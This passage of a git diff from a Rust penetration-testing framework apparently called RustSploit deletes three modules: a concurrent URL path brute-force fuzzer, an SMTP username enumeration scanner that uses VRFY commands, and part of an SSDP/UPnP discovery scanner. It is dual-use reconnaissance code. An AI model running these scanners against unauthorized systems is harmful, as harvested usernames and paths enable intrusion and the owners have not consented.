c_mode, - custom_charset: custom, - min_length: min_len, - max_length: max_len, - encoding, - concurrency, - cookies, - verbose, - }) -} - -async fn parse_target_interactive(raw: &str) -> Result { - let base = if raw.is_empty() { - normalize_target(&prompt_required("Target URL")?)? - } else { - normalize_target(raw)? - }; - - // Ensure protocol - let url = if !base.starts_with("http") { - format!("http://{}", base) - } else { - base - }; - - // Ensure trailing slash - if !url.ends_with('/') { - println!("{}", format!("[*] Current Target: {}", url).cyan()); - if prompt_yes_no("Target does not end with '/'. Append it?", true)? { - Ok(format!("{}/", url)) - } else { - Ok(url) - } - } else { - Ok(url) - } -} - -// --- Persistence --- - -async fn save_template(config: &SequentialFuzzerConfig) -> Result<()> { - let name = prompt_default("Template Name", "fuzz_template.json")?; - let json = serde_json::to_string_pretty(config)?; - fs::write(&name, json).context("Failed to write template")?; - println!("Saved to {}", name); - Ok(()) -} - -async fn load_template() -> Result { - let path = prompt_existing_file("Template File")?; - let content = fs::read_to_string(&path)?; - let config: SequentialFuzzerConfig = serde_json::from_str(&content).context("Invalid JSON")?; - println!("{}", "Loaded Config.".green()); - Ok(config) -} - -// --- Execution Engine --- - -enum WriterMessage { - Result(FuzzResult), - Stop, -} - -async fn execute_fuzz(config: SequentialFuzzerConfig) -> Result<()> { - // 1. Prepare Output Dir - let timestamp = chrono::Local::now().format("%Y%m%d_%H%M%S").to_string(); - let out_dir = format!("scans/fuzz_{}", timestamp); - fs::create_dir_all(&out_dir).context("Failed to create output dir")?; - println!("Output Directory: {}", out_dir.cyan()); - - // 2. Spawn Writer Actor - let (tx, mut rx) = mpsc::channel::(1000); - let writer_dir = out_dir.clone(); - let verbose = config.verbose; - - // We cannot move the JoinHandle out easily if we await it later, but we can spawn it. - // We need to await it at the end. - let writer_handle = tokio::spawn(async move { - let mut buffer: HashMap> = HashMap::new(); - // We don't keep file handles open to avoid limits, we append-open each time. - - while let Some(msg) = rx.recv().await { - match msg { - WriterMessage::Result(res) => { - // 1. Instant Save - let file_path = format!("{}/raw_{}.txt", writer_dir, res.status); - let line = format!("[Size: {}] {}\n", res.size, res.path); - - if let Ok(mut file) = OpenOptions::new().create(true).append(true).open(&file_path) { - let _ = file.write_all(line.as_bytes()); - } - - // 2. Print Control (Real-time Output) - let status = res.status; - let should_print = if status == 403 && !verbose { - false - } else { - true - }; - - if should_print { - let status_display = if status >= 200 && status < 300 { - format!("{} {}", "[FOUND]".green().bold(), status.to_string().green()) - } else if status >= 300 && status < 400 { - format!("{} {}", "[REDIR]".blue().bold(), status.to_string().blue()) - } else if status >= 500 { - format!("{} {}", "[ERROR]".red().bold(), status.to_string().red()) - } else if status == 403 || status == 401 { - format!("{} {}", "[AUTH]".yellow().bold(), status.to_string().yellow()) - } else { - format!("[{}]", status).white().to_string() - }; - - println!("{} Size: {} | {}", - status_display, - res.size.to_string().dimmed(), - res.path - ); - } - - // 3. Buffer - buffer.entry(res.status).or_default().push(res); - }, - WriterMessage::Stop => break, - } - } - buffer - }); - - // 3. Engine Setup - let client = Client::builder() - .danger_accept_invalid_certs(true) - .timeout(Duration::from_secs(10)) - .build()?; - - let charset = get_charset(&config); - let sem = Arc::new(Semaphore::new(config.concurrency)); - - println!("{}", "Starting Fuzzer... Press Ctrl+C to abort (not handled cleanly)".yellow()); - - // 4. Generator Loop - // Memory Fix: Do not store JoinHandles in a Vec. - // Instead, we rely on the semaphore to track active tasks. - - // We iterate lengths - for len in config.min_length..=config.max_length { - spawn_combinations_iterative( - &client, - &config, - &charset, - len, - &sem, - &tx - ).await; - } - - // 5. Wait for all tasks to finish - // We do this by attempting to acquire ALL permits. - // This will block until all active tasks release their permits. - println!("Generation done. Waiting for active tasks to complete..."); - let _ = sem.acquire_many(config.concurrency as u32).await; - - // Stop Writer - let _ = tx.send(WriterMessage::Stop).await; - let final_buffer = writer_handle.await?; - - println!("\n{}", "Scan Complete. Sorting results...".blue()); - - // 6. Sort and Final Save - let mut total_403 = 0; - - for (status, mut results) in final_buffer { - if status == 403 { - total_403 += results.len(); - } - - results.sort_by(|a, b| b.size.cmp(&a.size)); // Descending size - - let file_path = format!("{}/sorted_{}.txt", out_dir, status); - let mut content = String::new(); - for r in results { - // Avoid unwrap on string write (very unlikely to fail on memory, but strictness requested) - let _ = writeln!(content, "[Size: {}] {}", r.size, r.path); - } - fs::write(&file_path, content)?; - println!("Saved sorted results for status {} to {}", status, file_path.green()); - } - - if total_403 > 0 && !config.verbose { - println!("{}", format!("\n[*] Aggregated {} '403 Forbidden' responses. (Use verbose mode to see them)", total_403).yellow()); - } - - Ok(()) -} - -// Iterative generator that spawns tasks (Base-N Counting) -async fn spawn_combinations_iterative( - client: &Client, - config: &SequentialFuzzerConfig, - charset: &[char], - length: usize, - sem: &Arc, - tx: &mpsc::Sender -) { - if charset.is_empty() || length == 0 { return; } - - // Performance: Parse headers ONCE, not per iteration - let mut base_headers = header::HeaderMap::new(); - if let Some(c) = &config.cookies { - if let Ok(val) = c.parse() { - base_headers.insert(header::COOKIE, val); - } - } - - // Indices for each position in the string (0 to charset.len()-1) - let mut indices = vec![0; length]; - let charset_len = charset.len(); - - loop { - // 1. Build String from Indices - let current_payload: String = indices.iter().map(|&i| charset[i]).collect(); - - // 2. Execute Task Logic - // Safety: Handle semaphore error (closed) gracefully - let permit = match sem.clone().acquire_owned().await { - Ok(p) => p, - Err(_) => { - // Semaphore closed or poisoned, stop generation - return; - } - }; - - let client = client.clone(); - let tx = tx.clone(); - let base = config.target_url.clone(); - let encoding = config.encoding; - let headers = base_headers.clone(); // Clone ARC-like/cheap map? No, HeaderMap clone is relatively cheap but doing it here is necessary for async move. - - // Apply encoding - let encoded_payload = encode_payload(¤t_payload, encoding); - let url = format!("{}{}", base, encoded_payload); - - tokio::spawn(async move { - let _permit = permit; // drop when task done (releases semaphore) - - let req = client.get(&url).headers(headers); - // Safety: Handle send errors (don't unwrap) - if let Ok(resp) = req.send().await { - let status = resp.status().as_u16(); - let size = resp.content_length().unwrap_or(0); - - let res = FuzzResult { - path: url, - status, - size, - }; - // If receiver dropped, we just stop sending. - let _ = tx.send(WriterMessage::Result(res)).await; - } - }); - - // 3. Increment Indices (Standard Base-N Carry) - let mut carry = true; - for i in (0..length).rev() { - indices[i] += 1; - if indices[i] < charset_len { - carry = false; - break; // No carry needed, valid state found - } - indices[i] = 0; // Reset this position and carry to left - } - - if carry { - return; - } - } -} diff --git a/src/modules/scanners/smtp_user_enum.rs b/src/modules/scanners/smtp_user_enum.rs deleted file mode 100644 index 5887c39..0000000 --- a/src/modules/scanners/smtp_user_enum.rs +++ /dev/null @@ -1,865 +0,0 @@ -//! SMTP Username Enumeration Scanner Module -//! -//! Enumerates usernames on an SMTP server using the VRFY command. -//! Supports wordlist-based enumeration with concurrent scanning. -//! -//! For authorized penetration testing only. - -use anyhow::{anyhow, Context, Result}; -use colored::*; -use regex::Regex; -use std::fs::{File, OpenOptions}; -use std::io::{BufRead, BufReader, Write}; - -use std::net::{TcpStream, ToSocketAddrs}; -use std::path::Path; -use std::sync::{Arc, Mutex}; -use std::sync::atomic::{AtomicBool, AtomicU64, Ordering}; -use std::time::{Duration, Instant}; -use telnet::{Telnet, Event}; -use threadpool::ThreadPool; -use crossbeam_channel::unbounded; - -const PROGRESS_INTERVAL_SECS: u64 = 2; -const DEFAULT_SMTP_PORT: u16 = 25; -const DEFAULT_THREADS: usize = 10; -const DEFAULT_TIMEOUT_MS: u64 = 3000; -/// If username wordlist is larger than this, switch to streaming mode -const STREAMING_THRESHOLD_BYTES: u64 = 50 * 1024 * 1024; // 50 MB - -struct Statistics { - total_checked: AtomicU64, - valid_users: AtomicU64, - invalid_users: AtomicU64, - error_attempts: AtomicU64, - start_time: Instant, -} - -impl Statistics { - fn new() -> Self { - Self { - total_checked: AtomicU64::new(0), - valid_users: AtomicU64::new(0), - invalid_users: AtomicU64::new(0), - error_attempts: AtomicU64::new(0), - start_time: Instant::now(), - } - } - - fn record_check(&self, valid: bool, error: bool) { - self.total_checked.fetch_add(1, Ordering::Relaxed); - if error { - self.error_attempts.fetch_add(1, Ordering::Relaxed); - } else if valid { - self.valid_users.fetch_add(1, Ordering::Relaxed); - } else { - self.invalid_users.fetch_add(1, Ordering::Relaxed); - } - } - - fn print_progress(&self) { - let total = self.total_checked.load(Ordering::Relaxed); - let valid = self.valid_users.load(Ordering::Relaxed); - let invalid = self.invalid_users.load(Ordering::Relaxed); - let errors = self.error_attempts.load(Ordering::Relaxed); - let elapsed = self.start_time.elapsed().as_secs_f64(); - let rate = if elapsed > 0.0 { total as f64 / elapsed } else { 0.0 }; - - print!( - "\r{} {} checked | {} valid | {} invalid | {} err | {:.1}/s ", - "[Progress]".cyan(), - total.to_string().bold(), - valid.to_string().green(), - invalid, - errors.to_string().red(), - rate - ); - let _ = std::io::Write::flush(&mut std::io::stdout()); - } - - fn print_final(&self) { - println!(); - let total = self.total_checked.load(Ordering::Relaxed); - let valid = self.valid_users.load(Ordering::Relaxed); - let invalid = self.invalid_users.load(Ordering::Relaxed); - let errors = self.error_attempts.load(Ordering::Relaxed); - let elapsed = self.start_time.elapsed().as_secs_f64(); - - println!("{}", "=== Statistics ===".bold()); - println!(" Total checked: {}", total); - println!(" Valid users: {}", valid.to_string().green().bold()); - println!(" Invalid users: {}", invalid); - println!(" Errors: {}", errors.to_string().red()); - println!(" Elapsed time: {:.2}s", elapsed); - if elapsed > 0.0 { - println!(" Average rate: {:.1} checks/s", total as f64 / elapsed); - } - } -} - -fn display_banner() { - println!("{}", "╔═══════════════════════════════════════════════════════════╗".cyan()); - println!("{}", "║ SMTP Username Enumeration Scanner ║".cyan()); - println!("{}", "║ Enumerates usernames using SMTP VRFY command ║".cyan()); - println!("{}", "╚═══════════════════════════════════════════════════════════╝".cyan()); - println!(); -} - -#[derive(Clone)] -struct SmtpUserEnumConfig { - /// Raw target strings (IP/hostname) before normalization - targets: Vec, - /// Port used for all targets - port: u16, - /// Username wordlist path - username_wordlist: String, - /// Number of worker threads - threads: usize, - /// Per-connection timeout in milliseconds - timeout_ms: u64, - /// Verbose output flag - verbose: bool, -} - -/// Main entry point -pub async fn run(target: &str) -> Result<()> { - display_banner(); - println!("{}", format!("[*] Initial target: {}", target).cyan()); - println!(); - - println!("{}", "[ Configuration Menu ]".bold().green()); - println!(" 1. Single target (use current target only)"); - println!(" 2. Targets from file (ignore current target)"); - println!(" 3. Current target + targets from file"); - println!(); - let mode = prompt("Select mode [1-3] (default 1): ")?; - - // Build initial target list based on selected mode - let mut targets: Vec = Vec::new(); - match mode.trim() { - "2" => { - let file_path = prompt("Targets file (one IP/hostname per line): ")?; - if file_path.trim().is_empty() { - return Err(anyhow!("Targets file path cannot be empty in mode 2")); - } - let loaded = load_targets_from_file(file_path.trim())?; - if loaded.is_empty() { - return Err(anyhow!("No valid targets loaded from file")); - } - targets.extend(loaded); - } - "3" => { - if !target.trim().is_empty() { - targets.push(target.trim().to_string()); - } - let file_path = prompt("Additional targets file (one IP/hostname per line): ")?; - if file_path.trim().is_empty() { - return Err(anyhow!("Targets file path cannot be empty in mode 3")); - } - let loaded = load_targets_from_file(file_path.trim())?; - if loaded.is_empty() { - return Err(anyhow!("No valid additional targets loaded from file")); - } - targets.extend(loaded); - } - // Default: mode 1 – single target only - _ => { - if !target.trim().is_empty() { - targets.push(target.trim().to_string()); - } - } - } - - let port = prompt_port(DEFAULT_SMTP_PORT)?; - let username_wordlist = prompt_wordlist("Username wordlist file: ")?; - let threads = prompt_threads(DEFAULT_THREADS)?; - let timeout_ms = prompt_timeout(DEFAULT_TIMEOUT_MS)?; - let verbose = prompt_yes_no("Verbose mode?", false)?; - - if targets.is_empty() { - return Err(anyhow!("No targets specified for SMTP enumeration")); - } - - let config = SmtpUserEnumConfig { - targets, - port, - username_wordlist, - threads, - timeout_ms, - verbose, - }; - - run_smtp_user_enum(config).await -} - -async fn run_smtp_user_enum(config: SmtpUserEnumConfig) -> Result<()> { - // Normalize and validate all targets - let mut normalized_targets: Vec<(String, String)> = Vec::new(); - for raw in &config.targets { - match normalize_target(raw, config.port) { - Ok(addr) => normalized_targets.push((raw.clone(), addr)), - Err(e) => { - println!( - "{}", - format!("[!] Skipping target '{}': {}", raw, e).yellow() - ); - } - } - } - - if normalized_targets.is_empty() { - return Err(anyhow!("All targets failed validation/normalization")); - } - - // Decide whether to load usernames into memory or stream line-by-line - let metadata = std::fs::metadata(&config.username_wordlist) - .with_context(|| format!("Failed to stat username wordlist: {}", config.username_wordlist))?; - let size_bytes = metadata.len(); - let use_streaming = size_bytes > STREAMING_THRESHOLD_BYTES; - - if !use_streaming { - let usernames = read_lines(&config.username_wordlist)?; - - if usernames.is_empty() { - return Err(anyhow!("Username wordlist is empty.")); - } - - println!("{}", format!("[*] Loaded {} username(s).", usernames.len()).cyan()); - println!( - "{}", - format!( - "[*] Total targets: {} (port {})", - normalized_targets.len(), - config.port - ) - .cyan() - ); - println!("{}", format!("[*] Threads: {}", config.threads).cyan()); - println!("{}", format!("[*] Timeout: {}ms", config.timeout_ms).cyan()); - println!(); - - let found = Arc::new(Mutex::new(Vec::new())); - let unknown = Arc::new(Mutex::new(Vec::new())); - let stop_flag = Arc::new(AtomicBool::new(false)); - let stats = Arc::new(Statistics::new()); - let pool = ThreadPool::new(config.threads); - let (tx, rx) = unbounded(); - - // Queue work: every username against every target (in-memory mode) - for (raw_target, addr) in &normalized_targets { - for username in &usernames { - tx.send((raw_target.clone(), addr.clone(), username.clone()))?; - } - } - drop(tx); - - // Start progress reporter thread - let progress_stop = Arc::clone(&stop_flag); - let progress_stats = Arc::clone(&stats); - let progress_handle = std::thread::spawn(move || { - while !progress_stop.load(Ordering::Relaxed) { - progress_stats.print_progress(); - std::thread::sleep(Duration::from_secs(PROGRESS_INTERVAL_SECS)); - } - }); - - // Worker threads - for _ in 0..config.threads { - let rx = rx.clone(); - let stop_flag = Arc::clone(&stop_flag); - let found = Arc::clone(&found); - let unknown = Arc::clone(&unknown); - let stats = Arc::clone(&stats); - let config = config.clone(); - - pool.execute(move || { - while let Ok((raw_target, addr, username)) = rx.recv() { - if stop_flag.load(Ordering::Relaxed) { - break; - } - - match verify_smtp_user(&addr, &username, config.timeout_ms) { - Ok(Some(response)) => { - println!( - "\r{}", - format!( - "[+] VALID: {}@{} - {}", - username, - raw_target, - response.trim() - ) - .green() - .bold() - ); - let mut users = found.lock().unwrap_or_else(|e| e.into_inner()); - users.push(( - format!("{}@{}", username, raw_target), - response.trim().to_string(), - )); - stats.record_check(true, false); - } - Ok(None) => { - stats.record_check(false, false); - if config.verbose { - println!( - "\r{}", - format!("[-] Invalid: {}@{}", username, raw_target).dimmed() - ); - } - } - Err(e) => { - stats.record_check(false, true); - let msg = e.to_string(); - if msg.starts_with("Unknown VRFY response for '") { - { - let mut unk = unknown.lock().unwrap_or_else(|e| e.into_inner()); - unk.push(( - format!("{}@{}", username, raw_target), - msg.clone(), - )); - } - if config.verbose { - eprintln!( - "\r{}", - format!( - "[?] {}@{} -> {}", - username, raw_target, msg - ) - .yellow() - ); - } - } else if config.verbose { - eprintln!("\r{}", format!("[!] {}: {}", username, msg).red()); - } - } - } - } - }); - } - - pool.join(); - - // Stop progress reporter - stop_flag.store(true, Ordering::Relaxed); - let _ = progress_handle.join(); - - // Final reporting including unknown responses - return finalize_and_report(found, unknown, stats).await; - } - - // Streaming mode for very large username lists - let size_mb = (size_bytes as f64) / (1024.0 * 1024.0); - println!( - "{}", - format!( - "[*] Large username wordlist detected (~{:.1} MB) – streaming line by line", - size_mb - ) - .cyan() - ); - println!( - "{}", - format!( - "[*] Total targets: {} (port {})", - normalized_targets.len(), - config.port - ) - .cyan() - ); - println!("{}", format!("[*] Threads: {}", config.threads).cyan()); - println!("{}", format!("[*] Timeout: {}ms", config.timeout_ms).cyan()); - println!(); - - let found = Arc::new(Mutex::new(Vec::new())); - let unknown = Arc::new(Mutex::new(Vec::new())); - let stop_flag = Arc::new(AtomicBool::new(false)); - let stats = Arc::new(Statistics::new()); - let pool = ThreadPool::new(config.threads); - let (tx, rx) = unbounded(); - - // Producer thread: read usernames file line-by-line and enqueue work - { - let targets_clone = normalized_targets.clone(); - let path_clone = config.username_wordlist.clone(); - let tx_clone = tx.clone(); - - std::thread::spawn(move || { - if let Err(e) = - enqueue_streaming_usernames(&path_clone, &targets_clone, tx_clone) - { - eprintln!( - "\r{}", - format!("[!] Username producer error: {}", e).red() - ); - } - }); - } - drop(tx); - - // Start progress reporter thread - let progress_stop = Arc::clone(&stop_flag); - let progress_stats = Arc::clone(&stats); - let progress_handle = std::thread::spawn(move || { - while !progress_stop.load(Ordering::Relaxed) { - progress_stats.print_progress(); - std::thread::sleep(Duration::from_secs(PROGRESS_INTERVAL_SECS)); - } - }); - - // Worker threads - for _ in 0..config.threads { - let rx = rx.clone(); - let stop_flag = Arc::clone(&stop_flag); - let found = Arc::clone(&found); - let unknown = Arc::clone(&unknown); - let stats = Arc::clone(&stats); - let config = config.clone(); - - pool.execute(move || { - while let Ok((raw_target, addr, username)) = rx.recv() { - if stop_flag.load(Ordering::Relaxed) { - break; - } - - match verify_smtp_user(&addr, &username, config.timeout_ms) { - Ok(Some(response)) => { - println!( - "\r{}", - format!( - "[+] VALID: {}@{} - {}", - username, - raw_target, - response.trim() - ) - .green() - .bold() - ); - let mut users = found.lock().unwrap_or_else(|e| e.into_inner()); - users.push(( - format!("{}@{}", username, raw_target), - response.trim().to_string(), - )); - stats.record_check(true, false); - } - Ok(None) => { - stats.record_check(false, false); - if config.verbose { - println!( - "\r{}", - format!("[-] Invalid: {}@{}", username, raw_target).dimmed() - ); - } - } - Err(e) => { - stats.record_check(false, true); - let msg = e.to_string(); - if msg.starts_with("Unknown VRFY response for '") { - { - let mut unk = unknown.lock().unwrap_or_else(|e| e.into_inner()); - unk.push(( - format!("{}@{}", username, raw_target), - msg.clone(), - )); - } - if config.verbose { - eprintln!( - "\r{}", - format!( - "[?] {}@{} -> {}", - username, raw_target, msg - ) - .yellow() - ); - } - } else if config.verbose { - eprintln!("\r{}", format!("[!] {}: {}", username, msg).red()); - } - } - } - } - }); - } - - pool.join(); - - // Stop progress reporter - stop_flag.store(true, Ordering::Relaxed); - let _ = progress_handle.join(); - - // Final reporting including unknown responses - finalize_and_report(found, unknown, stats).await -} - -/// Verify a username using SMTP VRFY command -/// Returns Ok(Some(response)) if user exists, Ok(None) if user doesn't exist, Err on connection/protocol error -fn verify_smtp_user(addr: &str, username: &str, timeout_ms: u64) -> Result> { - let socket = addr - .to_socket_addrs()? - .next() - .ok_or_else(|| anyhow!("Could not resolve address"))?; - - let stream = TcpStream::connect_timeout(&socket, Duration::from_millis(timeout_ms)) - .context("Connection timeout")?; - - stream.set_read_timeout(Some(Duration::from_millis(timeout_ms)))?; - stream.set_write_timeout(Some(Duration::from_millis(timeout_ms)))?; - - let mut telnet = Telnet::from_stream(Box::new(stream), 256); - let timeout = Duration::from_millis(timeout_ms); - - // Read initial banner (220 response) - let mut banner_ok = false; - let start = Instant::now(); - while start.elapsed() < timeout { - match telnet.read() { - Ok(Event::Data(data)) => { - let response = String::from_utf8_lossy(&data); - if response.starts_with("220") { - banner_ok = true; - break; - } - } - Ok(_) => continue, - Err(_) => break, - } - } - - if !banner_ok { - return Err(anyhow!("No 220 banner received")); - } - - // Send VRFY command - let vrfy_cmd = format!("VRFY {}\r\n", username); - telnet.write(vrfy_cmd.as_bytes())?; - - // Read VRFY response - let start = Instant::now(); - let mut response_text = String::new(); - - while start.elapsed() < timeout { - match telnet.read() { - Ok(Event::Data(data)) => { - let response = String::from_utf8_lossy(&data); - response_text.push_str(&response); - - // Check for valid user responses (250, 251) - if response.starts_with("250") || response.starts_with("251") { - // User exists - telnet.write(b"QUIT\r\n").ok(); - return Ok(Some(response_text.trim().to_string())); - } - - // Check for invalid user responses (550, 551, 553) - if response.starts_with("550") || response.starts_with("551") || response.starts_with("553") { - // User doesn't exist - telnet.write(b"QUIT\r\n").ok(); - return Ok(None); - } - - // Check for ambiguous response (252 - cannot verify) - if response.starts_with("252") { - // Server explicitly refuses to verify (VRFY disabled) – treat as error - telnet.write(b"QUIT\r\n").ok(); - return Err(anyhow!("Server returned 252 (cannot VRFY) for user '{}'", username)); - } - - // If we got a complete response line but no known status code, treat as unknown - if response.contains("\r\n") { - telnet.write(b"QUIT\r\n").ok(); - return Err(anyhow!( - "Unknown VRFY response for '{}': {}", - username, - response.trim() - )); - } - } - Ok(_) => continue, - Err(_) => break, - } - } - - // If we didn't get a clear response, treat as error - telnet.write(b"QUIT\r\n").ok(); - Err(anyhow!("No valid VRFY response received")) -} - -fn read_lines(path: &str) -> Result> { - let file = File::open(path).context(format!("Failed to open file: {}", path))?; - Ok(BufReader::new(file) - .lines() - .filter_map(Result::ok) - .filter(|s| !s.trim().is_empty()) - .collect()) -} - -fn enqueue_streaming_usernames( - path: &str, - targets: &[(String, String)], - tx: crossbeam_channel::Sender<(String, String, String)>, -) -> Result<()> { - let file = File::open(path).context(format!("Failed to open username wordlist: {}", path))?; - let reader = BufReader::new(file); - - for line in reader.lines() { - let line = line?; - let username = line.trim(); - if username.is_empty() || username.starts_with('#') { - continue; - } - - let username_owned = username.to_string(); - for (raw_target, addr) in targets { - tx.send((raw_target.clone(), addr.clone(), username_owned.clone()))?; - } - } - - Ok(()) -} - -fn load_targets_from_file(path: &str) -> Result> { - let file = File::open(path).context(format!("Failed to open targets file: {}", path))?; - let reader = BufReader::new(file); - let mut targets = Vec::new(); - - for line in reader.lines() { - let line = line?; - let trimmed = line.trim(); - if trimmed.is_empty() || trimmed.starts_with('#') { - continue; - } - targets.push(trimmed.to_string()); - } - - Ok(targets) -} - -async fn finalize_and_report( - found: Arc>>, - unknown: Arc>>, - stats: Arc, -) -> Result<()> { - // Print final statistics - stats.print_final(); - - let found_guard = found.lock().unwrap_or_else(|e| e.into_inner()); - if found_guard.is_empty() { - println!("{}", "[-] No valid usernames found.".yellow()); - } else { - println!( - "{}", - format!("[+] Found {} valid username(s):", found_guard.len()) - .green() - .bold() - ); - for (username, response) in found_guard.iter() { - println!(" {} {} - {}", "✓".green(), username, response); - } - - if prompt("\nSave valid usernames? (y/n): ")? - .trim() - .eq_ignore_ascii_case("y") - { - let filename = prompt("What should the valid results be saved as?: ")?; - if filename.is_empty() { - println!("{}", "[-] Filename cannot be empty.".red()); - } else { - save_results(&filename, &found_guard)?; - println!("{}", format!("[+] Results saved to {}", filename).green()); - } - } - } - drop(found_guard); - - let unknown_guard = unknown.lock().unwrap_or_else(|e| e.into_inner()); - if !unknown_guard.is_empty() { - println!( - "{}", - format!( - "[?] Collected {} unknown VRFY response(s).", - unknown_guard.len() - ) - .yellow() - .bold() - ); - - if prompt("Save unknown responses to file? (y/n): ")? - .trim() - .eq_ignore_ascii_case("y") - { - let default_name = "smtp_unknown_responses.txt"; - let filename = - prompt(&format!("What should the unknown results be saved as? [{}]: ", default_name))?; - let chosen = if filename.trim().is_empty() { - default_name.to_string() - } else { - filename.trim().to_string() - }; - - if let Err(e) = save_unknown_responses(&chosen, &unknown_guard) { - println!( - "{}", - format!("[!] Failed to save unknown responses: {}", e).red() - ); - } else { - println!( - "{}", - format!("[+] Unknown responses saved to {}", chosen).green() - ); - } - } - } - - Ok(()) -} - -fn save_results(path: &str, users: &[(String, String)]) -> Result<()> { - let mut file = OpenOptions::new() - .create(true) - .write(true) - .truncate(true) - .open(path)?; - - writeln!(file, "# SMTP Username Enumeration Results")?; - writeln!(file, "# Generated by RustSploit SMTP User Enum Scanner")?; - writeln!(file, "# Total: {} valid username(s)", users.len())?; - writeln!(file)?; - - for (username, response) in users { - writeln!(file, "{} - {}", username, response)?; - } - - Ok(()) -} - -fn save_unknown_responses(path: &str, entries: &[(String, String)]) -> Result<()> { - let mut file = OpenOptions::new() - .create(true) - .write(true) - .truncate(true) - .open(path)?; - - writeln!(file, "# SMTP Unknown VRFY Responses")?; - writeln!(file, "# Generated by RustSploit SMTP User Enum Scanner")?; - writeln!(file, "# Total: {} unknown response(s)", entries.len())?; - writeln!(file)?; - - for (identity, response) in entries { - writeln!(file, "{} - {}", identity, response)?; - } - - Ok(()) -} - -fn prompt(msg: &str) -> Result { - print!("{}", msg); - std::io::stdout() - .flush() - .context("Failed to flush stdout")?; - let mut buffer = String::new(); - std::io::stdin() - .read_line(&mut buffer) - .context("Failed to read input")?; - Ok(buffer.trim().to_string()) -} - -fn prompt_port(default: u16) -> Result { - loop { - let input = prompt(&format!("SMTP Port (default {}): ", default))?; - if input.is_empty() { - return Ok(default); - } - match input.parse::() { - Ok(0) => println!("{}", "[!] Port cannot be zero. Please enter a value between 1 and 65535.".yellow()), - Ok(port) => return Ok(port), - Err(_) => println!("{}", "[!] Invalid port. Please enter a number between 1 and 65535.".yellow()), - } - } -} - -fn prompt_threads(default: usize) -> Result { - loop { - let input = prompt(&format!("Threads (default {}): ", default))?; - if input.is_empty() { - return Ok(default.max(1)); - } - if let Ok(value) = input.parse::() { - if value >= 1 && value <= 1024 { - return Ok(value); - } - } - println!("{}", "[!] Invalid thread count. Please enter a value between 1 and 1024.".yellow()); - } -} - -fn prompt_timeout(default: u64) -> Result { - loop { - let input = prompt(&format!("Timeout in milliseconds (default {}): ", default))?; - if input.is_empty() { - return Ok(default); - } - match input.parse::() { - Ok(value) if value >= 100 && value <= 60000 => return Ok(value), - Ok(_) => println!("{}", "[!] Timeout must be between 100 and 60000 milliseconds.".yellow()), - Err(_) => println!("{}", "[!] Invalid timeout. Please enter a number.".yellow()), - } - } -} - -fn prompt_yes_no(message: &str, default_yes: bool) -> Result { - let default_char = if default_yes { "y" } else { "n" }; - loop { - let input = prompt(&format!("{} (y/n) [{}]: ", message, default_char))?; - if input.is_empty() { - return Ok(default_yes); - } - match input.to_lowercase().as_str() { - "y" | "yes" => return Ok(true), - "n" | "no" => return Ok(false), - _ => println!("{}", "[!] Please respond with y or n.".yellow()), - } - } -} - -fn prompt_wordlist(message: &str) -> Result { - loop { - let response = prompt(message)?; - if response.is_empty() { - println!("{}", "[!] Path cannot be empty.".yellow()); - continue; - } - let trimmed = response.trim(); - if Path::new(trimmed).is_file() { - return Ok(trimmed.to_string()); - } else { - println!( - "{}", - format!("[!] File '{}' does not exist or is not a regular file.", trimmed).yellow() - ); - } - } -} - -fn normalize_target(host: &str, port: u16) -> Result { - let re = Regex::new(r"^\[*([^\]]+?)\]*(?::(\d{1,5}))?$").context("Failed to compile regex")?; - let t = host.trim(); - let cap = re - .captures(t) - .ok_or_else(|| anyhow!("Invalid target: {}", host))?; - let addr = cap.get(1).map(|m| m.as_str()).ok_or_else(|| anyhow!("Target address missing"))?; - let p = cap - .get(2) - .map(|m| m.as_str().parse::().ok()) - .flatten() - .unwrap_or(port); - let formatted = if addr.contains(':') && !addr.starts_with('[') { - format!("[{}]:{}", addr, p) - } else { - format!("{}:{}", addr, p) - }; - if formatted.to_socket_addrs()?.next().is_none() { - Err(anyhow!("DNS resolution failed: {}", formatted)) - } else { - Ok(formatted) - } -} - diff --git a/src/modules/scanners/ssdp_msearch.rs b/src/modules/scanners/ssdp_msearch.rs deleted file mode 100644 index ea6898d..0000000 --- a/src/modules/scanners/ssdp_msearch.rs +++ /dev/null @@ -1,447 +0,0 @@ -use anyhow::{Context, Result}; -use colored::*; -use regex::Regex; -use std::collections::HashMap; -use std::fs::File; -use std::io::Write; - -use std::net::SocketAddr; -use std::time::Instant; -use tokio::net::UdpSocket; -use tokio::time::{timeout as tokio_timeout, Duration}; - -/// SSDP Search Target types -#[derive(Clone, Debug)] -enum SearchTarget { - RootDevice, - All, - Custom(String), -} - -impl SearchTarget { - fn st_header(&self) -> &str { - match self { - SearchTarget::RootDevice => "upnp:rootdevice", - SearchTarget::All => "ssdp:all", - SearchTarget::Custom(st) => st, - } - } -} - -fn display_banner() { - println!("{}", "╔══════════════════════════════════════════════════════════════╗".cyan()); - println!("{}", "║ SSDP M-SEARCH Scanner ║".cyan()); - println!("{}", "║ Discovers UPnP devices via SSDP protocol ║".cyan()); - println!("{}", "╚══════════════════════════════════════════════════════════════╝".cyan()); - println!(); -} - -pub async fn run(target: &str) -> Result<()> { - display_banner(); - - println!("{}", format!("[*] Target: {}", target).cyan()); - - let port = prompt_port().unwrap_or(1900); - let timeout_secs = prompt_timeout().unwrap_or(3); - let retries = prompt_retries().unwrap_or(1); - let verbose = prompt_verbose().unwrap_or(false); - let save_results = prompt_save_results().unwrap_or(false); - - let target = clean_ipv6_brackets(target); - // Validate target format - let _ = normalize_target(&target, port) - .with_context(|| format!("Failed to normalize target '{}'", target))?; - - // Determine search targets - let search_targets = prompt_search_targets()?; - - println!(); - println!("{}", format!("[*] Sending SSDP M-SEARCH to {}:{}...", target, port).bold()); - - let mut found_any = false; - let mut results = Vec::new(); - let start_time = Instant::now(); - - for (idx, st) in search_targets.iter().enumerate() { - if search_targets.len() > 1 { - println!( - "{}", - format!("[*] Trying ST: {} ({}/{})", st.st_header(), idx + 1, search_targets.len()) - .cyan() - ); - } - - for attempt in 1..=retries { - if retries > 1 { - println!(" [*] Attempt {}/{}", attempt, retries); - } - - match send_ssdp_request(&target, port, st, Duration::from_secs(timeout_secs), verbose).await { - Ok(Some(response)) => { - found_any = true; - let result = parse_ssdp_response(&response, &target, port, st.st_header()); - if let Some(r) = result { - results.push(r); - } - break; // Success, no need to retry - } - Ok(None) => { - if verbose { - println!(" {} No response received", "[-]".dimmed()); - } - } - Err(e) => { - if verbose { - eprintln!(" {} Error: {}", "[!]".yellow(), e); - } - } - } - - // Small delay between retries - if attempt < retries { - tokio::time::sleep(Duration::from_millis(500)).await; - } - } - } - - let elapsed = start_time.elapsed(); - - // Print statistics - println!(); - println!("{}", "=== 